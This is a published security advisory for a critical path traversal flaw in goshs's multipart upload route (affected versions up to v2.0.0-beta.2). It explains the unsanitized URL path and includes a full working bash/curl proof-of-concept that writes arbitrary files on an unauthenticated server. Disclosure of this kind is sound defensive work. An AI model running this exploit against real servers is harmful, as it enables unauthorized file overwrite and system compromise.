Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload

Critical **patrickhener** published **GHSA-jg56-wf8x-qrv5** 4 days ago

Package

goshs (Go)

Affected versions

<=v2.0.0-beta.2

Patched versions

v2.0.0-beta.3

Description

Summary

- POST multipart upload directory not sanitized | `httpserver/updown.go:71-174`

This finding affect the default configuration, no flags or authentication required.

Details

File: `httpserver/updown.go:71-174`
Trigger: `POST /<path>/upload` (server.go:49-51 checks `HasSuffix(r.URL.Path, "/upload")`)

The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from `req.URL.Path` unsanitized:

```
upath := req.URL.Path                                // unsanitized

targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]          // strips trailing "upload"
target := strings.Join(targetpath, "/")

filenameSlice := strings.Split(part.FileName(), "/")
filenameClean := filenameSlice[len(filenameSlice)-1]  // filename sanitized
```

```
finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean)
```

The route requires the URL to end with `/upload`. An attacker uses a path like `/../../target_dir/upload`, the suffix satisfies routing, and the `../..` escapes the webroot. The filename on disk is controlled by the attacker via the multipart `filename` field (after basename extraction).

Impact: Unauthenticated arbitrary file write to any existing directory on the filesystem.

PoCs:

```
#!/usr/bin/env bash
#
# Example:
#   ./arbitrary_overwrite2.sh 10.0.0.5 8080

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload file
TARGET_DIR=$(dirname "$TARGET")
TARGET_NAME=$(basename "$TARGET")

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / and build path ending with /upload
TARGET_REL="${TARGET_DIR#/}"
POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] POST:    ${POST_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
```

```
    -X POST \
    -F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \
    "http://${HOST}:${PORT}${POST_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
```

To execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.

Severity

Critical 9.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-35393

Weaknesses

▶ CWE-22

Credits

autobot23920 Reporter